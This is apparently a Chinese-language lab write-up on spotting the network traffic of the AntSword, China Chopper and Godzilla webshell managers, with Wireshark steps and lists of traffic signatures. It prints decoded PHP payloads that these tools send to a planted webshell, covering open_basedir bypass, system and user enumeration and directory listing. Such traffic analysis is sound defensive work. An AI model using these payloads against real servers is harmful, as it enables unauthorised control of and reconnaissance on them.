常见webshell管理工具流量分析
蚁剑流量分析
- 靶机:192.168.117.230
- 攻击机:192.168.117.1
使用wireshark进行抓包,这里选择虚拟机的网卡

先查看木马是否正常

然后打开蚁剑,准备连接木马

先不要进行连接,先开启抓包,然后再进行连接。

然后可以进行新建文件、查看文件、编辑文件等操作。
然后断开连接,再停止抓包

将流量包保存。然后在过滤器里面过滤http请求

然后追踪流


将cmd(这是你的连接密码)后面的内容进行url解码,这里是第一次http请求
1 | @ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.e46c7297";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "d40"."a61";echo @asenc($output);echo "25284"."0a6b1";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
下面这段几乎是所有webshell客户端连接PHP类webshell都有的一种代码
1 | @ini_set("display_errors", "0");@set_time_limit(0); |
第二次http请求,直接将0修改为1


1 | 2uL3Zhci93d3cvaHRtbC8=&cmd=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.04cc128be0";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "8a222"."3d050";echo @asenc($output);echo "b0ad05"."234b6c";}ob_start();try{$D=base64_decode(substr($_POST["c46bdd40d38eda"],2));$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E." |
这里总结蚁剑的几个特征:
1 | 1. 蚁剑的流量会有两次请求 |
菜刀流量分析
抓包还是跟上面一样,这里只是使用菜刀。



然后下面进行分析,一样过滤http,并且追踪流


可以发现这里只会有一次请求,所以跟蚁剑还是有所区别的。
然后我们还可以发现,结果会有一个特征:X@Y 结果 X@Y


然后我们再次查看流量,发现其请求头是百度的请求头

其请求体的内容默认是base64编码

1 | @ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("X@Y");$D=dirname(__FILE__);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("X@Y");die(); |
请求体中还存在eval,assert等函数

所以菜刀的流量分析总结如下:
1 | 1. 请求体中含有eval、assert等函数 |
哥斯拉v4.0 流量分析




然后过滤http,追踪流,发现这里是先反转字符串,然后进行base64解码
1 |
|
这里只取了key经过md5加密的前面16位
1 | md5(key)=3c6e0b8a9c15224a8228b9a98ca1531d |
哥斯拉在建立连接的时候会发起三次请求



第一次请求发现哥斯拉是为了建立session

第一次请求并没有返回体
第二次请求
1 |
|
第三次请求
1 |
|
发现其请求都是一样的,但是响应是不一样的。
总结哥斯拉的流量特征:
1 | 1. 在经过base64解码之前,要进行一次反转 |